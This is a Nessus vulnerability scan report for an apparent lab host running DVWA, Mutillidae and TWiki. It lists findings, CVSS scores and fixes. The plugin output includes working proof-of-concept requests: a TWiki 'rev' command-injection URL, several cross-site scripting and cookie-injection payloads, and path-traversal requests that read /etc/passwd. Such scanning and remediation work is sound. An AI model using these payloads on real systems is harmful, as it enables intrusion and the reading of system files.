7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID 86002

CVE	CVE-2016-2118
XREF	CERT:813296

Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

Plugin Output

tcp/445/cifs

```
Nessus detected that the Samba Badlock patch has not been applied.
```

19704 - TWiki 'rev' Parameter Arbitrary Command Execution

Synopsis

The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.

Description

The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.

See Also

<http://www.nessus.org/u?c70904f3>

Solution

Apply the appropriate hotfix referenced in the vendor advisory.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:F/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)

References

BID	14834
CVE	CVE-2005-2877

Exploitable With

Metasploit (true)

Plugin Information

Published: 2005/09/15, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Nessus was able to execute the command "id" using the
following request :
```

```
http://192.168.1.209/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20
```

```
This produced the following truncated output (limited to 2 lines) :
```

```
----- snip -----
uid=33(www-data) gid=33(www-data) groups=33(www-data)
----- snip -----
```

Synopsis

The remote web server contains a PHP application that is affected by a code execution vulnerability.

Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities :

- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.
- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.

An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.

See Also

<https://www.tenable.com/security/research/tra-2009-02>

http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php

Solution

Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	34526
CVE	CVE-2009-1285
XREF	TRA:TRA-2009-02
XREF	Secunia:34727
XREF	CWE:94

Plugin Information

Published: 2009/04/16, Modified: 2021/01/19

Plugin Output

tcp/80/www

Synopsis

The rlogin service is running on the remote host.

Description

The rlogin service is running on the remote host. This service is vulnerable since data is passed between the rlogin client and server in cleartext. A man-in-the-middle attacker can exploit this to sniff logins and passwords. Also, it may allow poorly authenticated logins without passwords. If the host is vulnerable to TCP sequence number guessing (from any network) or IP spoofing (including ARP hijacking on a local network) then it may be possible to bypass authentication.

Finally, rlogin is an easy way to turn file-write access into full logins through the .rhosts or rhosts.equiv files.

Solution

Comment out the 'login' line in /etc/inetd.conf and restart the inetd process. Alternatively, disable this service and use SSH instead.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

CVE CVE-1999-0651

Exploitable With

Metasploit (true)

Plugin Information

Published: 1999/08/30, Modified: 2018/08/13

Plugin Output

tcp/513/rlogin

Synopsis

The remote web server contains default files.

Description

The default error page, default index page, example JSPs and/or example servlets are installed on the remote Apache Tomcat server. These files should be removed as they may help an attacker uncover information about the remote Tomcat install or host itself.

See Also

<http://www.nessus.org/u?4cb3b4dd>

https://www.owasp.org/index.php/Securing_tomcat

Solution

Delete the default index page and remove the example JSP and servlets. Follow the Tomcat or OWASP instructions to replace or modify the default error page.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2004/03/02, Modified: 2019/08/12

Plugin Output

tcp/8180/www

The following default files were found :

<http://192.168.1.209:8180/tomcat-docs/index.html>

The server is not configured to return a custom page in the event of a client requesting a non-existent resource.
This may result in a potential disclosure of sensitive information about the server to attackers.

Synopsis

Some directories on the remote web server are browsable.

Description

Multiple Nessus plugins identified directories on the web server that are browsable.

See Also

<http://www.nessus.org/u?0a35179e>

Solution

Make sure that browsable directories do not leak confidential information or give access to sensitive resources. Additionally, use access restrictions or disable directory indexing for any that do.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/09/15, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following directories are browsable :

```
http://192.168.1.209/dav/
http://192.168.1.209/dvwa/dvwa/
http://192.168.1.209/dvwa/dvwa/css/
http://192.168.1.209/dvwa/dvwa/images/
http://192.168.1.209/dvwa/dvwa/includes/
http://192.168.1.209/dvwa/dvwa/includes/DBMS/
http://192.168.1.209/dvwa/dvwa/js/
http://192.168.1.209/mutillidae/documentation/
http://192.168.1.209/mutillidae/styles/
http://192.168.1.209/mutillidae/styles/ddsmoothmenu/
```

```
http://192.168.1.209/test/  
http://192.168.1.209/test/testoutput/
```

Synopsis

The remote web server is prone to cookie injection attacks.

Description

The remote web server hosts at least one CGI script that fails to adequately sanitize request strings with malicious JavaScript.

By leveraging this issue, an attacker may be able to inject arbitrary cookies. Depending on the structure of the web application, it may be possible to launch a 'session fixation' attack using this mechanism.

Please note that :

- Nessus did not check if the session fixation attack is feasible.
- This is not the only vector of session fixation.

See Also

https://en.wikipedia.org/wiki/Session_fixation

https://www.owasp.org/index.php/Session_Fixation

http://www.acros.si/papers/session_fixation.pdf

<http://projects.webappsec.org/w/page/13246960/Session%20Fixation>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:472
XREF	CWE:642
XREF	CWE:715
XREF	CWE:722

Plugin Information

Published: 2010/01/25, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cookie manipulation :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<script>document.cookie="testzqff=5194;"</script>

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
estzqff=5194;"</script>">Toggle Hints</a></td><td><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testzqff=5194;"</sc
ript>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----
```

49067 - CGI Generic HTML Injections (quick test)

Synopsis

The remote web server may be prone to HTML injections.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML to be executed in a user's browser within the security context of the affected site.

The remote web server may be vulnerable to IFRAME injections or cross-site scripting attacks :

- IFRAME injections allow 'virtual defacement' that might scare or anger gullible users. Such injections are sometimes implemented for 'phishing' attacks.
- XSS are extensively tested by four other scripts.
- Some applications (e.g. web forums) authorize a subset of HTML without any ill effect. In this case, ignore this warning.

See Also

<http://www.nessus.org/u?602759bc>

Solution

Either restrict access to the vulnerable application or contact the vendor for an update.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:80
XREF	CWE:86

Plugin Information

Published: 2010/09/01, Modified: 2021/01/19

Plugin Output

tcp/80/www

Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to HTML injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=%00<<<<"maoql d%20>>>

----- output -----

```
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=.<<<<"maoql d >>>">Toggle H
ints</a></td><td><a href="./index.php?do=toggle-security&page=.<<<<
"maoql d >>>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----
```

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.1.209/mutillidae/?page=%00<<<<"maoql d%20>>>

42872 - CGI Generic Local File Inclusion (2nd pass)

Synopsis

Arbitrary code may be run on this server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a local file and disclose its contents, or even execute arbitrary code on the remote host.

See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/11/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
----- request -----
GET /mutillidae/?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1
Host: 192.168.1.209
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
-----

----- output -----
<!-- Begin Content -->
<br />
<b>Warning</b>: include(&lt;IMG SRC=&quot;javascript:alert(104);&quot;&
gt;)<a href='function.include'>function.include</a>]: failed to open s
tream: No such file or directory in <b>/var/www/mutillidae/index.php</b>
on line <b>469</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]]
-----
```

Synopsis

Arbitrary files may be accessed or executed on the remote host.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local files inclusion vulnerabilities.

By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

See Also

https://en.wikipedia.org/wiki/Directory_traversal

<http://cwe.mitre.org/data/definitions/22.html>

<http://projects.webappsec.org/w/page/13246952/Path%20Traversal>

<http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection>

<http://www.nessus.org/u?4de3840d>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address path traversal flaws.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

XREF	OWASP:OWASP-AZ-001
XREF	CWE:21
XREF	CWE:22
XREF	CWE:632
XREF	CWE:715
XREF	CWE:723
XREF	CWE:813

XREF CWE:928
XREF CWE:932

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :  
  
+ The following resources may be vulnerable to directory traversal :  
  
+ The 'page' parameter of the /mutillidae/ CGI :  
  
/mutillidae/?page=../../../../../../../../etc/passwd%00index.html  
  
----- output -----  
<blockquote>  
<!-- Begin Content -->  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
-----
```

46195 - CGI Generic Path Traversal (extended test)

Synopsis

Arbitrary files may be accessed or executed on the remote host.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local file inclusion vulnerabilities.

By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

See Also

https://en.wikipedia.org/wiki/Directory_traversal

<http://projects.webappsec.org/w/page/13246952/Path%20Traversal>

<http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection>

<http://www.nessus.org/u?70f7aa09>

Solution

Either restrict access to the vulnerable application or contact the vendor for an update.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

XREF	OWASP:OWASP-AZ-001
XREF	CWE:21
XREF	CWE:22
XREF	CWE:632
XREF	CWE:715
XREF	CWE:723
XREF	CWE:813
XREF	CWE:928
XREF	CWE:932

Plugin Information

Published: 2010/04/30, Modified: 2021/01/19

Plugin Output

tcp/80/www

Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to directory traversal (extended test) :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=../../../../../../../../../../../../etc/passwd

----- output -----

<blockquote>

<!-- Begin Content -->

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

Clicking directly on these URLs should exhibit the issue :

(you will probably need to read the HTML source)

http://192.168.1.209/mutillidae/?page=../../../../../../../../../../../../etc/passwd

Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings of malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site. These XSS are likely to be 'non-persistent' or 'reflected'.

See Also

https://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

<http://www.nessus.org/u?ea9a0369>

<http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:84
XREF	CWE:85
XREF	CWE:86
XREF	CWE:87
XREF	CWE:116
XREF	CWE:442
XREF	CWE:692

XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:751
XREF	CWE:801
XREF	CWE:811
XREF	CWE:928
XREF	CWE:931

Plugin Information

Published: 2010/07/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (comprehensive test) :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<%00script>alert(219);</script%00>

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<.script>alert(219);</scri
pt.>">Toggle Hints</a></td><td><a href="./index.php?do=toggle-secur
ity&page=<.script>alert(219);</script.>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.1.209/mutillidae/?page=<%00script>alert(219);</script%00>
```


Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts one or more CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site. These XSS vulnerabilities are likely to be 'non-persistent' or 'reflected'.

See Also

https://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

<http://www.nessus.org/u?ea9a0369>

<http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:86
XREF	CWE:116
XREF	CWE:442
XREF	CWE:692
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725

XREF	CWE:751
XREF	CWE:801
XREF	CWE:811
XREF	CWE:928
XREF	CWE:931

Plugin Information

Published: 2011/08/03, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (extended patterns) :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=504%20onerror="alert(504);

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=504 onerror="alert(504);">
Toggle Hints</a></td><td><a href="./index.php?do=toggle-security&pa
ge=504 onerror="alert(504);">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.1.209/mutillidae/?page=504%20onerror="alert(504);
```

Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site.

These XSS are likely to be 'non persistent' or 'reflected'.

See Also

https://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

<http://www.nessus.org/u?ea9a0369>

<http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address any cross-site scripting vulnerabilities.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:86
XREF	CWE:116
XREF	CWE:442
XREF	CWE:692
XREF	CWE:712
XREF	CWE:722

XREF	CWE:725
XREF	CWE:751
XREF	CWE:801
XREF	CWE:811
XREF	CWE:928
XREF	CWE:931

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (quick test) :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<IMG%20SRC="javascript:alert(104);">

----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<IMG SRC="javascript:alert
(104);">">Toggle Hints</a></td><td><a href="./index.php?do=toggle-s
ecurity&page=<IMG SRC="javascript:alert(104);">">Toggle Security</a></td>
>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
-----

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.1.209/mutillidae/?page=<IMG%20SRC="javascript:alert(104);">
```

Synopsis

The remote DNS server is vulnerable to cache snooping attacks.

Description

The remote DNS server responds to queries for third-party domains that do not have the recursion bit set.

This may allow a remote attacker to determine which domains have recently been resolved via this name server, and therefore which hosts have been recently visited.

For instance, if an attacker was interested in whether your company utilizes the online services of a particular financial institution, they would be able to use this attack to build a statistical model regarding company usage of that financial institution. Of course, the attack can also be used to find B2B partners, web-surfing patterns, external mail servers, and more.

Note: If this is an internal DNS server not accessible to outside networks, attacks would be limited to the internal network. This may include employees, consultants and potentially users on a guest network or WiFi connection if supported.

See Also

http://cs.unc.edu/~fabian/course_papers/cache_snooping.pdf

Solution

Contact the vendor of the DNS software for a fix.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2004/04/27, Modified: 2020/04/07

Plugin Output

udp/53/dns

Nessus sent a non-recursive query for example.com
and received 1 answer :

93.184.216.34

Synopsis

Debugging functions are enabled on the remote web server.

Description

The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.

See Also

https://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

<http://www.apacheweek.com/issues/03-01-24>

<https://download.oracle.com/sunalerts/1000718.1.html>

Solution

Disable these HTTP methods. Refer to the plugin output for more information.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	9506
BID	9561
BID	11604
BID	33374

BID	37995
CVE	CVE-2003-1567
CVE	CVE-2004-2320
CVE	CVE-2010-0386
XREF	CERT:288308
XREF	CERT:867593
XREF	CWE:16
XREF	CWE:200

Plugin Information

Published: 2003/01/23, Modified: 2020/06/12

Plugin Output

tcp/80/www

To disable these methods, add the following lines for each virtual host in your configuration file :

```
RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
```

Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2 support disabling the TRACE method natively via the 'TraceEnable' directive.

Nessus sent the following TRACE request :

```
----- snip -----
TRACE /Nessus1413754693.html HTTP/1.1
Connection: Close
Host: 192.168.1.209
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
```

and received the following response from the remote server :

```
----- snip -----
HTTP/1.1 200 OK
Date: Mon, 06 Dec 2021 21:08:47 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: message/http

TRACE /Nessus1413754693.html HTTP/1.1
Connection: Keep-Alive
Host: 192.168.1.209
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
```



```
Accept-Language: en  
Accept-Charset: iso-8859-1,*,utf-8
```

```
----- snip -----
```

Synopsis

The remote name server is affected by a denial of service vulnerability.

Description

According to its self-reported version number, the installation of ISC BIND running on the remote name server is version 9.x prior to 9.11.22, 9.12.x prior to 9.16.6 or 9.17.x prior to 9.17.4. It is, therefore, affected by a denial of service (DoS) vulnerability due to an assertion failure when attempting to verify a truncated response to a TSIG-signed request. An authenticated, remote attacker can exploit this issue by sending a truncated response to a TSIG-signed request to trigger an assertion failure, causing the server to exit.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

<https://kb.isc.org/docs/cve-2020-8622>

Solution

Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8622
XREF	IAVA:2020-A-0385-S

Plugin Information

Published: 2020/08/27, Modified: 2021/06/03

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version    : 9.11.22, 9.16.6, 9.17.4 or later
```

Synopsis

The configuration of PHP on the remote host allows disclosure of sensitive information.

Description

The PHP install on the remote server is configured in a way that allows disclosure of potentially sensitive information to an attacker through a special URL. Such a URL triggers an Easter egg built into PHP itself.

Other such Easter eggs likely exist, but Nessus has not checked for them.

See Also

https://www.0php.com/php_easter_egg.php

<https://seclists.org/webappsec/2004/q4/324>

Solution

In the PHP configuration file, php.ini, set the value for 'expose_php' to 'Off' to disable this behavior. Restart the web server daemon to put this change into effect.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2010/06/03, Modified: 2018/11/15

Plugin Output

tcp/80/www

Nessus was able to verify the issue using the following URL :

`http://192.168.1.209/dvwa/dvwa/includes/DBMS/DBMS.php/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`

Synopsis

Signing is not required on the remote SMB server.

Description

Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server.

See Also

<http://www.nessus.org/u?df39b8b3>

<http://technet.microsoft.com/en-us/library/cc731957.aspx>

<http://www.nessus.org/u?74b80723>

<https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html>

<http://www.nessus.org/u?a3cac4ea>

Solution

Enforce message signing in the host's configuration. On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign communications (always)'. On Samba, the setting is called 'server signing'. See the 'see also' links for further details.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

Plugin Information

Published: 2012/01/19, Modified: 2021/03/15

Plugin Output

tcp/445/cifs

Synopsis

The remote mail service allows plaintext command injection while negotiating an encrypted communications channel.

Description

The remote SMTP service contains a software flaw in its STARTTLS implementation that could allow a remote, unauthenticated attacker to inject commands during the plaintext protocol phase that will be executed during the ciphertext protocol phase.

Successful exploitation could allow an attacker to steal a victim's email or associated SASL (Simple Authentication and Security Layer) credentials.

See Also

<https://tools.ietf.org/html/rfc2487>

<https://www.securityfocus.com/archive/1/516901/30/0/threaded>

Solution

Contact the vendor to see if an update is available.

Risk Factor

Medium

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

3.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	46767
CVE	CVE-2011-0411
CVE	CVE-2011-1430
CVE	CVE-2011-1431
CVE	CVE-2011-1432
CVE	CVE-2011-1506
CVE	CVE-2011-2165
XREF	CERT:555316

Plugin Information

Published: 2011/03/10, Modified: 2019/03/06

Plugin Output

tcp/25/smtp

```
Nessus sent the following two commands in a single packet :
```

```
STARTTLS\r\nRSET\r\n
```

```
And the server sent the following two responses :
```

```
220 2.0.0 Ready to start TLS
```

```
250 2.0.0 Ok
```


90317 - SSH Weak Algorithms Supported

Synopsis

The remote SSH server is configured to allow weak encryption algorithms or no algorithm at all.

Description

Nessus has detected that the remote SSH server is configured to use the Arcfour stream cipher or no cipher at all. RFC 4253 advises against using Arcfour due to an issue with weak keys.

See Also

<https://tools.ietf.org/html/rfc4253#section-6.3>

Solution

Contact the vendor or consult product documentation to remove the weak ciphers.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2016/04/04, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following weak server-to-client encryption algorithms are supported :
```

```
arcfour
arcfour128
arcfour256
```

```
The following weak client-to-server encryption algorithms are supported :
```

```
arcfour
arcfour128
arcfour256
```

31705 - SSL Anonymous Cipher Suites Supported

Synopsis

The remote service supports the use of anonymous SSL ciphers.

Description

The remote host supports the use of anonymous SSL ciphers. While this enables an administrator to set up a service that encrypts traffic without having to generate and configure SSL certificates, it offers no way to verify the remote host's identity and renders the service vulnerable to a man-in-the-middle attack.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

See Also

<http://www.nessus.org/u?3a040ada>

Solution

Reconfigure the affected application if possible to avoid use of weak ciphers.

Risk Factor

Low

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	28482
CVE	CVE-2007-1858

Plugin Information

Plugin Output

tcp/25/smtp

The following is a list of SSL anonymous ciphers supported by the remote TCP server :

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-ADH-DES-CBC-SHA SHA1 export	0x00, 0x19	DH(512)	None	DES-CBC(40)	
EXP-ADH-RC4-MD5 export	0x00, 0x17	DH(512)	None	RC4(40)	MD5
ADH-DES-CBC-SHA SHA1	0x00, 0x1A	DH	None	DES-CBC(56)	

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
